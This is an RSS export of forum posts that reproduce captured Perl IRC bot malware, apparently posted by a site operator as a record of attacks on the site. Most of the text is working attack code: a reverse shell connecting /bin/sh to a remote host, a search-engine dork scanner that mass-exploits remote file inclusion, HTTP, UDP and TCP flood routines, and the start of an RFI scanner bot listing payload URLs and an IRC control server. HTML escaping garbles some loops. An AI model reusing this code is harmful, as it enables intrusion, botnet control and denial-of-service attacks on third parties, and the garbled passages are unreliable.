my $iaddr = inet_aton($host);
<br />
my $paddr = sockaddr_in($porta, $iaddr);
<br />
my $shell = &quot;/bin/sh -i&quot;;
<br />
if ($^O eq &quot;MSWin32&quot;) {
<br />
  $shell = &quot;cmd.exe&quot;;
<br />
}
<br />
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die &quot;socket: $!&quot;;
<br />
connect(SOCKET, $paddr) or die &quot;connect: $!&quot;;
<br />
open(STDIN, &quot;&gt;&amp;SOCKET&quot;);
<br />
open(STDOUT, &quot;&gt;&amp;SOCKET&quot;);
<br />
open(STDERR, &quot;&gt;&amp;SOCKET&quot;);
<br />
system(&quot;$shell&quot;);
<br />
close(STDIN);
<br />
close(STDOUT);
<br />
close(STDERR);
<br />
if ($estatisticas)
<br />
{
<br />
  sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4BackConnect12:.4|12 Connecting to 4 $host:$porta&quot;);
<br />
}
<br />
}
<br />
######################
<br />
#End of  Back Connect# 
<br />
#                    #
<br />
######################
<br />
########################################################################################################################
<br />
# ______   __              ___    _   __    ___          __   __                                                       #
<br />
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
<br />
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
<br />
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
<br />
#                                                                                                                      #
<br />
########################################################################################################################
<br />
######################
<br />
#    MULTI SCANNER   # 
<br />
#                    #
<br />
######################
<br />
if ($funcarg =~ /^hajar\s+(.*?)\s+(.*)/){
<br />
if (my $pid = fork) {
<br />
waitpid($pid, 0);
<br />
} else {
<br />
if (fork) {
<br />
exit;
<br />
} else {
<br />
my $bug=$1;
<br />
my $dork=$2;
<br />
my $contatore=0;
<br />
my %hosts;
<br />
### Start Message
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4|12 hajar 4$bug 12$dork&quot;);
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4|12 tungguin ya say &quot;);
<br />
### End of Start Message
<br />
# Starting Google
<br />
	my @glist=&amp;google($dork);
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4|12 12G4o8o12g9l4e4 &quot;.scalar(@glist).&quot; 12Sites&quot;);
<br />
#
<br />
	my @mlist=&amp;msn($dork);
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4|12 7M4S7N4 &quot;.scalar(@mlist).&quot; 12Sites&quot;);
<br />
#
<br />
	my @allist=&amp;alltheweb($dork);
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4|12 7All7The7Web4 &quot;.scalar(@allist).&quot; 12Sites&quot;);
<br />
#
<br />
	my @asklist=&amp;ask($dork);
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4|12 14A4S14K4 &quot;.scalar(@asklist).&quot; 12Sites&quot;);
<br />
#
<br />
	my @aollist=&amp;aol($dork);
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4|12 7AOL4 &quot;.scalar(@aollist).&quot; 12Sites&quot;);
<br />
#
<br />
	my @lycos=&amp;lycos($dork);
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4|12 1L7yc1o7s4 &quot;.scalar(@lycos).&quot; 12Sites&quot;);
<br />
#
<br />
	my @ylist=&amp;yahoo($dork);
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4|12 13Y6ahoo4 &quot;.scalar(@ylist).&quot; 12Sites&quot;);
<br />
#
<br />
push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist );
<br />
my @puliti=&amp;unici(@tot);
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4|12 Total Results:4 &quot;.scalar(@tot).&quot; 12Sites and Cleaned:4 &quot;.scalar(@puliti).&quot; 12for 2 $dork &quot;);
<br />
my $uni=scalar(@puliti);
<br />
foreach my $sito (@puliti)
<br />
{
<br />
$contatore++;
<br />
if ($contatore %30==0){ 
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4|12 Exploiting4 &quot;.$contatore.&quot; 12of4 &quot;.$uni. &quot; 12Sites&quot;);
<br />
}
<br />
if ($contatore==$uni-1){
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Scan12:.4| lemes wes2 $dork&quot;);
<br />
}
<br />
### Print CMD and TEST CMD###
<br />
my $test=&quot;http://&quot;.$sito.$bug.$id.&quot;?&quot;;
<br />
my $print=&quot;http://&quot;.$sito.$bug.$cmd.&quot;?&quot;;
<br />
### End of Print CMD and TEST CMD###
<br />
my $req=HTTP::Request-&gt;new(GET=&gt;$test);
<br />
my $ua=LWP::UserAgent-&gt;new();
<br />
$ua-&gt;timeout(5);
<br />
my $response=$ua-&gt;request($req);
<br />
if ($response-&gt;is_success) {
<br />
my $re=$response-&gt;content;
<br />
if($re =~ /Mic22/ &amp;&amp; $re =~ /uid=/){
<br />
my $hs=geths($print); $hosts{$hs}++;
<br />
if($hosts{$hs}==&quot;1&quot;){
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Safe Mode = 4OFF12:.4|12 12Vuln: 4$print &quot;);
<br />
}}
<br />
elsif($re =~ /Mic22/)
<br />
{
<br />
my $hs=geths($print); $hosts{$hs}++;
<br />
if($hosts{$hs}==&quot;1&quot;){
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4Safe Mode = 3ON12:.4|12 12Vuln: 4$print  &quot;);
<br />
}}
<br />
}}}
<br />
exit;
<br />
}}}
<br />
######################
<br />
#End of MultiSCANNER # 
<br />
#                    #
<br />
######################
<br />
########################################################################################################################
<br />
# ______   __              ___    _   __    ___          __   __                                                       #
<br />
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
<br />
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
<br />
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
<br />
#                                                                                                                      #
<br />
########################################################################################################################
<br />
# RESERVED xD
<br />
########################################################################################################################
<br />
# ______   __              ___    _   __    ___          __   __                                                       #
<br />
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
<br />
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
<br />
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
<br />
#                                                                                                                      #
<br />
########################################################################################################################
<br />
######################
<br />
#     HTTPFlood      # 
<br />
#                    #
<br />
######################
<br />
if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4HTTP DDos12:.4|12 Attacking 4 &quot;.$1.&quot; 12 on port 80 for 4 &quot;.$2.&quot; 12 seconds .&quot;);
<br />
my $itime = time;
<br />
my ($cur_time);
<br />
$cur_time = time - $itime;
<br />
while ($2&gt;$cur_time){
<br />
$cur_time = time - $itime;
<br />
my $socket = IO::Socket::INET-&gt;new(proto=&gt;'tcp', PeerAddr=&gt;$1, PeerPort=&gt;80);
<br />
print $socket &quot;GET / HTTP/1.1\r\nAccept: */*\r\nHost: &quot;.$1.&quot;\r\nConnection: Keep-Alive\r\n\r\n&quot;;
<br />
close($socket);
<br />
}
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4HTTP DDos12:.4|12 Attacking done 4 &quot;.$1.&quot;.&quot;);
<br />
}
<br />
######################
<br />
#  End of HTTPFlood  # 
<br />
#                    #
<br />
######################
<br />
########################################################################################################################
<br />
# ______   __              ___    _   __    ___          __   __                                                       #
<br />
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
<br />
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
<br />
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
<br />
#                                                                                                                      #
<br />
########################################################################################################################
<br />
######################
<br />
#     UDPFlood       # 
<br />
#                    #
<br />
######################
<br />
if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4UDP DDos12:.4|12 Attacking 4 &quot;.$1.&quot; 12 with 4 &quot;.$2.&quot; 12 Kb Packets for 4 &quot;.$3.&quot; 12 seconds.&quot;);
<br />
my ($dtime, %pacotes) = udpflooder(&quot;$1&quot;, &quot;$2&quot;, &quot;$3&quot;);
<br />
$dtime = 1 if $dtime == 0;
<br />
my %bytes;
<br />
$bytes{igmp} = $2 * $pacotes{igmp};
<br />
$bytes{icmp} = $2 * $pacotes{icmp};
<br />
$bytes{o} = $2 * $pacotes{o};
<br />
$bytes{udp} = $2 * $pacotes{udp};
<br />
$bytes{tcp} = $2 * $pacotes{tcp};
<br />
sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4|12.:4UDP DDos12:.4|12 12Results4 &quot;.int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024).&quot; 12Kb in4 &quot;.$dtime.&quot; 12seconds to4 &quot;.$1.&quot;.&quot;);
<br />
}
<br />
exit;
<br />
}
<br />
}
<br />
######################
<br />
#  End of Udpflood   # 
<br />
#                    #
<br />
######################
<br />

<br />

<br />
sub ircase {
<br />
my ($kem, $printl, $case) = @_;
<br />
  if ($case =~ /^join (.*)/) {
<br />
     j(&quot;$1&quot;);
<br />
   }
<br />
   if ($case =~ /^part (.*)/) {
<br />
      p(&quot;$1&quot;);
<br />
   }
<br />
if ($case =~ /^rejoin\s+(.*)/) {
<br />
my $chan = $1;
<br />
if ($chan =~ /^(\d+) (.*)/) {
<br />
for (my $ca = 1; $ca &lt;= $1; $ca++ ) {
<br />
p(&quot;$2&quot;);
<br />
j(&quot;$2&quot;);
<br />
}
<br />
}
<br />
else {
<br />
p(&quot;$chan&quot;);
<br />
j(&quot;$chan&quot;);
<br />
}
<br />
}
<br />

<br />
if ($case =~ /^op/) {
<br />
op(&quot;$printl&quot;, &quot;$kem&quot;) if $case eq &quot;op&quot;;
<br />
my $oarg = substr($case, 3);
<br />
op(&quot;$1&quot;, &quot;$2&quot;) if ($oarg =~ /(\S+)\s+(\S+)/);
<br />
}
<br />

<br />
if ($case =~ /^deop/) {
<br />
deop(&quot;$printl&quot;, &quot;$kem&quot;) if $case eq &quot;deop&quot;;
<br />
my $oarg = substr($case, 5);
<br />
deop(&quot;$1&quot;, &quot;$2&quot;) if ($oarg =~ /(\S+)\s+(\S+)/);
<br />
}
<br />

<br />
if ($case =~ /^msg\s+(\S+) (.*)/) {
<br />
msg(&quot;$1&quot;, &quot;$2&quot;);
<br />
}
<br />

<br />
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
<br />
for (my $cf = 1; $cf &lt;= $1; $cf++) {
<br />
msg(&quot;$2&quot;, &quot;$3&quot;);
<br />
}
<br />
}
<br />

<br />
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
<br />
ctcp(&quot;$1&quot;, &quot;$2&quot;);
<br />
}
<br />

<br />
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
<br />
for (my $cf = 1; $cf &lt;1&gt;&amp;1 3&gt;&amp;1`;
<br />
my $c=0;
<br />
foreach my $linha (@resp) {
<br />
  $c++;
<br />
  chop $linha;
<br />
  sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :$linha&quot;);
<br />
  if ($c == &quot;$linas_max&quot;) {
<br />
    $c=0;
<br />
    sleep $sleep;
<br />
  }
<br />
}
<br />
exit;
<br />
}
<br />
}
<br />
}
<br />

<br />
sub tcpflooder {
<br />
my $itime = time;
<br />
my ($cur_time);
<br />
my ($ia,$pa,$proto,$j,$l,$t);
<br />
$ia=inet_aton($_[0]);
<br />
$pa=sockaddr_in($_[1],$ia);
<br />
$ftime=$_[2];
<br />
$proto=getprotobyname('tcp');
<br />
$j=0;$l=0;
<br />
$cur_time = time - $itime;
<br />
while ($l&lt;1000&gt;= $ftime;
<br />
$t=&quot;SOCK$l&quot;;
<br />
socket($t,PF_INET,SOCK_STREAM,$proto);
<br />
connect($t,$pa)||$j--;
<br />
$j++;$l++;
<br />
}
<br />
$l=0;
<br />
while ($l&lt;1000&gt;= $ftime;
<br />
$t=&quot;SOCK$l&quot;;
<br />
shutdown($t,2);
<br />
$l++;
<br />
}
<br />
}
<br />

<br />

<br />

<br />
sub udpflooder {
<br />
my $iaddr = inet_aton($_[0]);
<br />
my $msg = 'A' x $_[1];
<br />
my $ftime = $_[2];
<br />
my $cp = 0;
<br />
my (%pacotes);
<br />
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
<br />
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
<br />
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
<br />
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
<br />
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
<br />
return(undef) if $cp == 4;
<br />
my $itime = time;
<br />
my ($cur_time);
<br />
while ( 1 ) {
<br />
for (my $porta = 1;
<br />
$porta &lt;65000&gt;= $ftime;
<br />
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
<br />
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
<br />
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
<br />
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
<br />

<br />

<br />
for (my $pc = 3;
<br />
$pc &lt;255&gt;= $ftime;
<br />
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
<br />
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
<br />
}
<br />
}
<br />
last if $cur_time &gt;= $ftime;
<br />
}
<br />
return($cur_time, %pacotes);
<br />
}
<br />

<br />
sub ctcp {
<br />
return unless $#_ == 1;
<br />
sendraw(&quot;PRIVMSG $_[0] :\001$_[1]\001&quot;);
<br />
}
<br />

<br />
sub msg {
<br />
return unless $#_ == 1;
<br />
sendraw(&quot;PRIVMSG $_[0] :$_[1]&quot;);
<br />
}
<br />

<br />
sub notice {
<br />
return unless $#_ == 1;
<br />
sendraw(&quot;NOTICE $_[0] :$_[1]&quot;);
<br />
}
<br />

<br />
sub op {
<br />
return unless $#_ == 1;
<br />
sendraw(&quot;MODE $_[0] +o $_[1]&quot;);
<br />
}
<br />

<br />
sub deop {
<br />
return unless $#_ == 1;
<br />
sendraw(&quot;MODE $_[0] -o $_[1]&quot;);
<br />
}
<br />

<br />
sub j {
<br />
&amp;join(@_);
<br />
}
<br />

<br />
sub join {
<br />
return unless $#_ == 0;
<br />
sendraw(&quot;JOIN $_[0]&quot;);
<br />

<br />
}
<br />
sub p { part(@_);
<br />
}
<br />

<br />
sub part {
<br />
sendraw(&quot;PART $_[0]&quot;);
<br />
}
<br />

<br />
sub nick {
<br />
return unless $#_ == 0;
<br />
sendraw(&quot;NICK $_[0]&quot;);
<br />
}
<br />

<br />
sub quit {
<br />
sendraw(&quot;QUIT :$_[0]&quot;);
<br />
}
<br />

<br />
sub fetch(){
<br />
my $rnd=(int(rand(9999)));
<br />
my $n= 80;
<br />
if ($rnd&lt;5000) { $n&lt;&lt;=1;}
<br />
my $s= (int(rand(10)) * $n);
<br />
{
<br />
my @dominios = (&quot;removed-them-all&quot;);
<br />
my @str;
<br />
foreach $dom  (@dominios)
<br />
{
<br />
push (@str,&quot;@gstring&quot;);
<br />
}
<br />
my $query=&quot;www.google.com/search?q=&quot;;
<br />
$query.=$str[(rand(scalar(@str)))];
<br />
$query.=&quot;&amp;num=$n&amp;start=$s&quot;;
<br />
my @lst=();
<br />
sendraw(&quot;privmsg #debug :DEBUG only test googling: &quot;.$query.&quot;&quot;);
<br />
my $page = http_query($query);
<br />
while ($page =~  m/&lt;/span&gt;\&quot;]*)\//g){
<br />
if($1 !~ /msn|live/){
<br />
my $k=$1;
<br />
my @grep=links($k);
<br />
push(@lst,@grep);
<br />
}}}
<br />
return @lst;
<br />
}
<br />

<br />
sub lycos(){
<br />
my $inizio=0;
<br />
my $pagine=20;
<br />
my $key=$_[0];
<br />
my $av=0;
<br />
my @lst;
<br />
while($inizio &lt;= $pagine){
<br />
my $lycos=&quot;http://search.lycos.com/?query=&quot;.key($key).&quot;&amp;page=$av&quot;;
<br />
my $Res=query($lycos);
<br />
while ($Res=~ m/&lt;span&gt;http:\/\/(.+?)\//g ){
<br />
my $k=&quot;$1&quot;;
<br />
my @grep=links($k);
<br />
push(@lst,@grep);
<br />
}
<br />
$inizio++;
<br />
$av++;
<br />
}
<br />
return @lst;
<br />
}
<br />

<br />
#####
<br />
sub aol(){
<br />
my @lst;
<br />
my $key = $_[0];
<br />
for($b=1;$b&lt;=100;$b++){
<br />
my $AoL=(&quot;http://search.aol.com/aol/search?query=&quot;.key($key).&quot;&amp;page=&quot;.$b.&quot;&amp;nt=null&amp;ie=UTF-8&quot;);
<br />
my $Res=query($AoL);
<br />
while($Res =~ m/&lt;p&gt;http:\/\/(.+?)\&lt;/p&gt;/g){
<br />
my $k=$1;
<br />
my @grep=links($k);
<br />
push(@lst,@grep);
<br />
}}
<br />
return @lst;
<br />
}
<br />
#####
<br />
sub ask(){
<br />
my @lst;
<br />
my $key=$_[0];
<br />
my $i=0;
<br />
my $pg=0;
<br />
for($i=0; $i&lt;=1000; $i+=10)
<br />
{
<br />
my $Ask=(&quot;http://it.ask.com/web?q=&quot;.key($key).&quot;&amp;o=312&amp;l=dir&amp;qsrc=0&amp;page=&quot;.$i.&quot;&amp;dm=all&quot;);
<br />
my $Res=query($Ask);
<br />
while($Res=~m/&lt;a id=\&quot;(.*?)\&quot; class=\&quot;(.*?)\&quot; href=\&quot;(.+?)\onmousedown/g){
<br />
my $k=$3;
<br />
$k=~s/[\&quot;\ ]//g;
<br />
my @grep=links($k);
<br />
push(@lst,@grep);
<br />
}}
<br />
return @lst;
<br />
}
<br />
#####
<br />
sub alltheweb()
<br />
{
<br />
my @lst;
<br />
my $key=$_[0];
<br />
my $i=0;
<br />
my $pg=0;
<br />
for($i=0; $i&lt;=1000; $i+=100)
<br />
{
<br />
my $all=(&quot;http://www.alltheweb.com/search?cat=web&amp;_sb_lang=any&amp;hits=100&amp;q=&quot;.key($key).&quot;&amp;o=&quot;.$i);
<br />
my $Res=query($all);
<br />
while($Res =~ m/&lt;span&gt;http:\/\/(.+?)\&lt;/span&gt;/g){
<br />
my $k=$1;
<br />
$k=~s/ //g;
<br />
my @grep=links($k);
<br />
push(@lst,@grep);
<br />
}}
<br />
return @lst;
<br />
}
<br />

<br />
sub google(){
<br />
my @lst;
<br />
my $key = $_[0];
<br />
for($b=0;$b&lt;=100;$b+=100){
<br />
my $Go=(&quot;http://www.google.co.ma/search?q=&quot;.key($key).&quot;&amp;num=100&amp;filter=0&amp;start=&quot;.$b);
<br />
my $Res=query($Go);
<br />
while($Res =~ m/&lt;a&gt;new(PeerAddr=&gt;&quot;$host&quot;,PeerPort=&gt;&quot;80&quot;,Proto=&gt;&quot;tcp&quot;) or return;
<br />
print $sock &quot;GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n&quot;;
<br />
my @r = &lt;sock&gt;;
<br />
$page=&quot;@r&quot;;
<br />
close($sock);
<br />
};
<br />
return $page;
<br />
}
<br />

<br />
sub unici{
<br />
my @unici = ();
<br />
my %visti = ();
<br />
foreach my $elemento ( @_ )
<br />
{
<br />
next if $visti{ $elemento }++;
<br />
push @unici, $elemento;
<br />
}   
<br />
return @unici;
<br />
}
<br />

<br />
sub http_query($){
<br />
my ($url) = @_;
<br />
my $host=$url;
<br />
my $query=$url;
<br />
my $page=&quot;&quot;;
<br />
$host =~ s/href=\&quot;?http:\/\///;
<br />
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
<br />
$query =~s/$host//;
<br />
if ($query eq &quot;&quot;) {$query=&quot;/&quot;;};
<br />
eval {
<br />
local $SIG{ALRM} = sub { die &quot;1&quot;;};
<br />
alarm 10;
<br />
my $sock = IO::Socket::INET-&gt;new(PeerAddr=&gt;&quot;$host&quot;,PeerPort=&gt;&quot;80&quot;,Proto=&gt;&quot;tcp&quot;) or return;
<br />
print $sock &quot;GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n&quot;;
<br />
my @r = &lt;sock&gt;;
<br />
$page=&quot;@r&quot;;
<br />
alarm 0;
<br />
close($sock);
<br />
};
<br />
return $page;
<br />
}
<br />
}
<br />

<br />
########################################################################################################################
<br />
# ______   __              ___    _   __    ___          __   __                                                       #
<br />
#/_  __/  / /  ___        / _ \  (_) / /_  / _ ) __ __  / /  / /                                                       #
<br />
# / /    / _ \/ -_)      / ___/ / / / __/ / _  |/ // / / /  / /                                                        #
<br />
#/_/    /_//_/\__/      /_/    /_/  \__/ /____/ \_,_/ /_/  /_/                                                         #
<br />
#                                                                                                                      #
<br />
########################################################################################################################]]></description>
            <author> no_email@example.com (CyberOps)</author>
            <guid isPermaLink="false">http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=10#10</guid>
        </item>
        <item>
            <title>bot hearder names - you dont want to be on this list</title>
            <link>http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=9#9</link>
            <description><![CDATA[These are the names found in scripts that attempted to hack this site. if you dont want your name or groups name on this list then do not try to breach this site.. pretty simple stuff. otherwise I will post it. 
<br />
-------------------------------------------------------------------------
<br />
SHIROHIGE PIRATES CREW]]></description>
            <author> no_email@example.com (CyberOps)</author>
            <guid isPermaLink="false">http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=9#9</guid>
        </item>
        <item>
            <title>tool cache discovered</title>
            <link>http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=8#8</link>
            <description><![CDATA[bot probes from http://hd-win.com/articles/ssh/
<br />

<br />
contents 
<br />

<br />
#!/usr/bin/perl
<br />

<br />
print('
<br />
##################################
<br />
#   Fuxk RFI Scanner Bot v5.9    #
<br />
#           By KaRaX             #
<br />
#          PANJER CREW           #
<br />
##################################
<br />
');
<br />
######################################################
<br />
## Usage:                                           ##
<br />
##   perl file.txt &lt;chan&gt; &lt;server&gt; &lt;port&gt;           ##
<br />
## Notes:                                           ##
<br />
## + All Parameters are optional                    ##
<br />
##                                                  ##
<br />
## Features:                                        ##
<br />
## + RFI Scanner                                    ##
<br />
## + AUTO RFI Scanner Domains                       ##
<br />
## + RFI Scan &amp; Exploit (Exploit per engine)        ##
<br />
## + Joomla RFI Scan &amp; Exploit                      ##
<br />
## + UPLOAD BOT PHP                                 ##
<br />
## + Milw0rm Search                                 ##
<br />
## + Google bypass (Using PHP)                      ##
<br />
## + Message Spy &amp; Save                             ##
<br />
######################################################
<br />
## History:
<br />
## + Fixed cryptz command (v4.5)
<br />
## + Fixed user commands execution by unauthorized user (v4.6)
<br />
## + Added options to enable/disable encrypted password (v4.7)
<br />
## + Fixed missing hostname on sublink (v4.<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_cool.gif" alt="Cool" border="0" />
<br />

<br />
use strict;
<br />

<br />
use IO::Socket::INET;
<br />
use LWP::UserAgent;
<br />
use HTTP::Request;
<br />

<br />
my $versi   = &quot;v.999 Limited Edition&quot;;
<br />
my $cmdpre  = &quot;.&quot;; #Command Prefix
<br />

<br />
##[ KONFIGURASI URL ]##
<br />
my $zfxid  = &quot;http://www.kyungilcorp.com/board/data/trashi_/sc1?&quot;; #zFxID1 (Simple) / #Fx29ID2 
<br />
my $zfxid2 = &quot;http://www.kyungilcorp.com/board/data/trashi_/sc2?&quot;; #zFxID2 (Advanced)
<br />
my $fx29sh  = &quot;http://www.kyungilcorp.com/board/data/trashi_/date???&quot;; #Fx29Sh (Optional)
<br />
my $bypass  = &quot;http://www.brvoice.com/site_antigo/administrator/backups/.php/go.php?&quot;; #Google Bypasserz
<br />
my $pbot    = &quot;http://www.kyungilcorp.com/board/data/trashi_/ab?&quot;; #phpbot (Optional)
<br />
my $thebot  = &quot;ab?&quot;; #phpbot2 (Optional)
<br />
my $cbot    = &quot;ab?&quot;; #phpbot3 (Optional)
<br />
my $botscan = &quot;ab?&quot;; #botscanloader (Optional)
<br />
my $botedan = &quot;ab?&quot;; #botedanloader (Optional)
<br />

<br />
##[ KONFIGURASI SOURCE ]##
<br />
my $mysite  = &quot;http://www.kyungilcorp.com/board/data/trashi_/&quot;; #Path to Sources URL (Optional)
<br />
my $spread  = $mysite.&quot;ab.txt?&quot;; #ZFxSpreadz (Optional)
<br />
my $joomlaz = $mysite.&quot;joomla&quot;; #Joomla's Bugs List (Required for Joomla RFI Scanner)
<br />

<br />
##[ KONFIGURASI IRC ]##
<br />
my @servers = (&quot;irc.rosebanditz.org&quot;);
<br />
my %bot     = (
<br />
  nick    =&gt; &quot;[D-&quot;.int(rand(100)).&quot;]&quot;,
<br />
  ident   =&gt; &quot;elek.&quot;.int(rand(100)),
<br />
  chan    =&gt; [&quot;f 180280&quot;],
<br />
  server  =&gt; $servers[rand(scalar(@servers))],
<br />
  port    =&gt; &quot;7000&quot;
<br />
);
<br />

<br />
##[ KONFIGURASI USER ##
<br />
## cryptz: 0 = Not Encrypted, 1 = Encrypted
<br />
my %boss = (
<br />
    ketek =&gt; {
<br />
    pass   =&gt; &quot;dj&quot;,
<br />
    status =&gt; &quot;admin&quot;,
<br />
    cryptz =&gt;  0,
<br />
    login  =&gt; 0
<br />
  },
<br />
);
<br />

<br />
##[ KONFIGURASI SPY ]##
<br />
my %spy = (
<br />
  host   =&gt; &quot;&quot;,
<br />
  chanz  =&gt; [&quot;&quot;],
<br />
  wordz  =&gt; ['http:\/\/.*[=]'],
<br />
  foundz =&gt; []
<br />
);
<br />

<br />
##[ KONFIGURASI BOT ]##
<br />
## Options: 0 = Disable, 1 = Enable
<br />
my %conf = (
<br />
  showsite =&gt; 1, #Show link to debug channel (Yes/No)
<br />
  linez    =&gt; 3, #Lines per message
<br />
  sleepz   =&gt; 3, #Message delay per linez (seconds)
<br />
  rfipid   =&gt; 50, #Sites per proccess
<br />
  rficnt   =&gt; 100, #Counter setting
<br />
  rficnt2  =&gt; 100, #Counter setting
<br />
  timeout  =&gt; 4, #Http socket time out
<br />
);
<br />

<br />
##[ KONFIGURASI WARNA ]##
<br />
my %colz = (
<br />
  1 =&gt; &quot;12,1[7«««12]3 &quot; , 2 =&gt; &quot; 12[7»»»12]&quot;, #Header
<br />
  3 =&gt; &quot;2,1[7«««2]3 &quot; , 4 =&gt; &quot; 2[7»»»2]&quot;, #Proses
<br />
);
<br />

<br />
##[ PARAMETER BARIS PERINTAH ]##
<br />
$bot{chan}   = &quot;#&quot;.$ARGV[0] if $ARGV[0];
<br />
$bot{server} = $ARGV[1] if $ARGV[1];
<br />
$bot{port}   = $ARGV[2] if $ARGV[2];
<br />

<br />
##[ INISIALISASI VARIABEL ]##
<br />
my $chanx    = &quot;#tek&quot;; #2nd Channel to show the results of vurnerable site
<br />
my $dbgchan  = &quot;#tek&quot;; #For debugging purposes (Optional)
<br />
my @chans    = ($bot{chan});
<br />
my @badbugz  = (&quot;scan&quot;,&quot;bug&quot;); #Bad bugs to cancel scanning
<br />
my @baddorkz = (&quot;dork&quot;); #Bad dorks to cancel scanning
<br />
my $keluar   = 0;
<br />
my $sock;
<br />

<br />
##[ KONFIGURASI LOCALTESTING ]##
<br />
my $tez = $ARGV[3];
<br />
if ($tez == 1) {
<br />
  $zfxid  = &quot;http://www.maumgolf.com/gnuboard4/data/file/_vti_sbin/fxd?&quot;;
<br />
  $zfxid2 = &quot;http://www.maumgolf.com/gnuboard4/data/file/_vti_sbin/fxdd?&quot;;
<br />
  $fx29sh  = &quot;http://www.maumgolf.com/gnuboard4/data/file/_vti_sbin/date?&quot;;
<br />
}
<br />

<br />
##[ PROGRAM UTAMA ]##
<br />
if (fork() == 0) { while ($keluar != 1) { irc_connect(); } die(&quot;KeLuaR!&quot;); }
<br />

<br />
##[ SUBRUTIN KONEKSI IRC ]##
<br />
sub irc_connect {
<br />
  $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $bot{server},
<br />
                                PeerPort =&gt; $bot{port},
<br />
                                Proto    =&gt; 'tcp')
<br />
                            or die &quot;Ga bisa connect ke &quot;.$bot{server}.&quot;:&quot;.$bot{port}.&quot;\r\n&quot;;
<br />
  $sock-&gt;autoflush(1);
<br />

<br />
  irc_nick($bot{nick});
<br />
  irc_user($bot{ident});
<br />

<br />
  my ($baris,$hb);
<br />
  my $loginboss = 0;
<br />
  my $userstat  = &quot;&quot;;
<br />

<br />
  while ( $baris = &lt;sock&gt; ) {
<br />
    $hb++;
<br />

<br />
    ##[ PARSING ]##
<br />
    my $com;
<br />
    my $me = $bot{nick};
<br />
    my ($fcom,$dteks,@teks) = split(/\s+:/,$baris);
<br />
    my ($duhost,$dcom,$dtarget) = split(/ /,$fcom);
